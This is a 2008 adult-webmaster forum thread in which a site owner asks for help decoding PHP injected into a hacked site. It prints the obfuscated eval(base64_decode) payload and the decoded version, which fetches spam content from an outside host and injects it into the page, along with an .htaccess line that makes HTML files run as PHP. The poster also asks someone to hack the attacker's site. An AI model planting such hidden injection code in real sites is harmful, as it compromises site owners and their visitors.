|
|
|
|
||||
|
Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums. You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today! If you have any problems with the registration process or your account login, please contact us. |
 |
|
|||||||
| Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed. |
|
|
Thread Tools |
07-10-2008, 07:42 AM
|
#1 |
|
Confirmed User
Industry Role:
Join Date: Dec 2006
Location: Chicago
Posts: 3,526
|
Help someone hacked my site : Please help me decipher code : !!!!!!!!!!!!!!!!!!!!!!!!
<!--erda8--><?php eval(base64_decode("JGw9Imh0dHA6Ly9kbWkuZXJkYXVkdG VhbS5iaXovbGluay9saW5rLnBocCI7IGlmIChleHRlbnNpb25f bG9hZGVkKCJjdXJsIikpey ANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gs IENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2 gsIENVUkxPUFRfUkVUVVJO VFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE 9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3Vy bF9jbG9zZSgkY2gpO30NCm Vsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBA JHI7DQo=")); ?>
Someone gained access to one of my sites that promotes a nats program and added that little script. Any idea what that means or what it was possibly doing? Thanks to anyone out there who can help.
__________________
┌∩┐(◣_◢)┌∩┐ ICQ # 427013273 |
|
|
|
07-10-2008, 07:46 AM
|
#2 |
|
No Refunds Issued.
Industry Role:
Join Date: Feb 2001
Location: GFY
Posts: 28,300
|
It means you need to move to a new host that doesn't have a head up their ass.
|
|
|
|
|
07-10-2008, 07:53 AM
|
#3 |
|
Confirmed User
Industry Role:
Join Date: Dec 2006
Location: Chicago
Posts: 3,526
|
Also found this is in all my .htaccess files
AddHandler application/x-httpd-php .html .htm .shtm and huge spam list linking to this site http://www.evolutionisdead.com/ ????????
__________________
┌∩┐(◣_◢)┌∩┐ ICQ # 427013273 |
|
|
|
|
07-10-2008, 07:56 AM
|
#4 |
|
Confirmed User
Join Date: Apr 2002
Location: /root/
Posts: 4,997
|
Code:
$l="http://dmi.erdaudteam.biz/link/link.php"; if (extension_loaded("curl")){ $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);} else{$r=implode("",file($l));} print @$r;
|
|
|
|
|
07-10-2008, 07:56 AM
|
#5 |
|
Rock 'n Roll Baby!
Join Date: Sep 2004
Location: USA, temporarly
Posts: 22,562
|
it means that it'll execute this statement:
$l="http://dmi.erdaudteam.biz/link/link.php"; if (extension_loaded("curl")){ $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);} else{$r=implode("",file($l));} print @$r; if it helps 
__________________
Sig for sale. Affordable prices. Contact me and get a great deal ;) My contact: ICQ: 944-320-46 e-mail: manca {AT} HotFreeSex4All.com |
|
|
|
|
07-10-2008, 08:06 AM
|
#7 |
|
Confirmed User
Industry Role:
Join Date: Dec 2006
Location: Chicago
Posts: 3,526
|
Thanks a lot guys I'll try to get a hold of this guy's host and have him shut down
__________________
┌∩┐(◣_◢)┌∩┐ ICQ # 427013273 |
|
|
|
|
07-10-2008, 08:30 AM
|
#8 |
|
Confirmed User
Industry Role:
Join Date: Dec 2006
Location: Chicago
Posts: 3,526
|
estdomains.com is the domain the site is hosted on!
__________________
┌∩┐(◣_◢)┌∩┐ ICQ # 427013273 |
|
|
|
|
07-10-2008, 08:35 AM
|
#9 |
|
Confirmed User
Industry Role:
Join Date: Dec 2006
Location: Chicago
Posts: 3,526
|
If they don't do anything about it can I contact ICANN? I want this asshole's site SHUT DOWN!!!!!!!!!!!!
 :mad :
__________________
┌∩┐(◣_◢)┌∩┐ ICQ # 427013273 |
|
|
|
|
07-10-2008, 09:17 AM
|
#10 |
|
Confirmed User
Join Date: Oct 2003
Location: localhost
Posts: 699
|
so easy was some base64 encode.
--->aWYgeW91IG5lZWQgaGVscCBjaGVjayBteSBzaWcuLi4gSSBnd WVzcyB5b3UgY2FuJ3QgcmVhZCB0aGF0IDstKQ==
__________________
------------------------------- Oliver Smith "Drunk Russian Hackers are Invincible" ASCII P0rn rules aim: olvrsmt icq: 21018030 |
|
|
|
|
07-10-2008, 09:42 AM
|
#11 |
|
Confirmed User
Industry Role:
Join Date: Dec 2006
Location: Chicago
Posts: 3,526
|
blah someone hack his site. POS really fucked one of my rankings with one site.
__________________
┌∩┐(◣_◢)┌∩┐ ICQ # 427013273 |
|
|
|
|
07-10-2008, 09:46 AM
|
#12 |
|
So Fucking Banned
Industry Role:
Join Date: Apr 2001
Location: N.Y. -Long Island --
Posts: 122,992
|
thats some nice code
|
|
|
|
|
07-11-2008, 12:09 AM
|
#13 | |
|
Confirmed User
Industry Role:
Join Date: Dec 2006
Location: Chicago
Posts: 3,526
|
Quote:
__________________
┌∩┐(◣_◢)┌∩┐ ICQ # 427013273 |
|
|
|
|
